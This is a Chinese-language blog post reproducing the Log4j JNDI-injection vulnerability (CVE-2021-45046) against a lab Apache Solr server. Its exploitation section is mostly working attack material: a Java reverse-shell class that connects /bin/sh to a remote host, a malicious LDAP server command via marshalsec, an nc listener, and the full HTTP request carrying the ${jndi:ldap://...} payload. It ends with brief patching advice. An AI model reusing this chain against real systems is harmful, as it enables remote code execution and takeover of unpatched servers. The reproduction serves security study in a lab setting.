Log4j CVE-2021-45046 复现

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

 

上面从网上找了一段描述,自上周四poc出来之后,波及很广,大家都是加班加点的打补丁,很多SRC纷纷发文称暂不接受该漏洞,到现在,仍有很多带有漏洞的业务跑在互联网上,利用工具如雨后春笋一样,这里随便找了个工具从黑盒层面进行检测,该漏洞的利用方式类似fastjson jndi注入

黑盒检测工具

这里推荐burp插件进行被动扫描,之前尝试写xray poc,发现xray的poc只能fuzz header头,不能遍历参数进行fuzz,burp插件覆盖更全面

自行GitHub搜索 log4jscan

dnslog建议自建或者使用ceye.io,不然大家都是用dnslog.cn,时不时抽风一下,根本无法检测出漏洞

靶场搭建

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

Log4j CVE-2021-45046 复现

使用浏览器访问:
http://192.168.64.128:8983/solr/#/

漏洞检测

通过burp扩展插件和dnslog日志查看漏洞信息

Log4j CVE-2021-45046 复现

Log4j CVE-2021-45046 复现

这里确认indexInfo参数触发漏洞

漏洞利用

参考fastjson漏洞利用,利用恶意ldap服务器进行jndi注入,加载远程恶意类,造成任意代码执行

恶意类

这里先写一个恶意类 Exploit.java,并编译为class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
  public Exploit() throws Exception {
    String host="x.x.x.x";  //修改为反弹服务器
    int port=x;  // 修改为反连端口
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();
  }
}

直接使用python启动服务

1
python -m SimpleHTTPServer 80  //xxx为web端口

启动恶意ldap服务器

之前复现fastjson的直接拿过来用

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxx为ldap端口

nc 监听反连端口

nc -lvvp x //x 为恶意类指定的反连端口

触发漏洞

发送请求

1
2
3
4
5
6
GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1
Host: 192.168.64.128:8983
X-Requested-With: XMLHttpRequest
Referer: http://192.168.64.128:8983/solr/
Cookie: JSESSIONID=066F1A7579CF0FC0C94C097160C692F6
Connection: close

查看ldap服务器响应

Log4j CVE-2021-45046 复现

查看web服务响应

Log4j CVE-2021-45046 复现

查看nc监听,可以看到拿到shell了
Log4j CVE-2021-45046 复现

这里可以看到拿到shell了,这里吐槽一下某SRC,修复窗口都一周了,补丁没打完,SRC还不收漏洞,低内核版本的linux,可脏牛提权,直接忽略

修复建议

升级log4j到 2.15.0-rc2以上/添加jvm参数 -Dlog4j2.formatMsgNoLookups=true/使用rasp防护/删除jndilookup都可以

发布者:常山赵子龙,转载请注明出处:https://www.qztxs.com/archives/science/technology/11385

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年5月27日 上午11:28
下一篇 2022年5月27日 上午11:33

相关推荐

  • AutoJS自动过某宝滑块方案

    采集淘宝数据时,请求一频繁,就会出现风控跳滑块,这里使用AutoJS自动化控制插件操控手机屏幕自动过滑块。 一、架构 整套方案一共分为三个部分,分别为生成滑块APP、自动过滑块AutoJS脚本、爬虫。 生成滑块APP: 负责生成淘宝滑块; 监听滑块相关请求,滑块验证成功后上报滑块cookie; 自动过滑块AutoJS脚本: 控制安卓手机界面,完成打开APP、...

    2022年5月7日
    81700
  • 热力图生成算法及其具体实现

    目录 1. 概述 2. 详论 2.1. 数据准备 2.2. 准备绘制 2.3. 绘制热力范围 2.4. 绘制热力图 2.5. 配色方案 3. 问题 4. 参考 1. 概述 以前一直觉得热力图非常高大上,现在终于有机会研究并总结这个问题了。其实从图像处理的角度上来说,热力图生成算法并没有什么特别的,要得到非常漂亮的效果,数据以及配色方案的也很重要。这里就用Op...

    2022年5月22日
    10100
  • 别废话,各种SQL到底加了什么锁?

    有朋友留言,问能不能花2分钟讲讲,MySQL的各类SQL语句,究竟加了什么锁?   额,MySQL加的锁,和事务隔离级别相关,又和索引相关,尝试花2分钟讲讲看。 画外音:这2分钟需要的辅助知识,都已经附带了链接,贴心吧! 第一类,普通select加什么锁? (1)在读未提交(Read Uncommitted),读提交(Read Committed, RC),...

    技术 2022年5月10日
    2400
  • 究竟为什么,快速排序的时间复杂度是n*lg(n)? | 经典面试题

    最烦面试官问,“为什么XX算法的时间复杂度是OO”,今后,不再惧怕这类问题。   快速排序分为这么几步: 第一步,先做一次partition; partition使用第一个元素t=arr[low]为哨兵,把数组分成了两个半区: 左半区比t大 右半区比t小 第二步,左半区递归; 第三步,右半区递归;   伪代码为: void quick_sort(int[]a...

    2022年5月11日
    2800
  • 初步理解OnMouseDown和OnMouseUp

    本学习来自MicroSoft Windows 程序设计,第304页 1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using System.Drawing; 6 using System.Windows.Forms...

    2022年5月21日
    2500

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信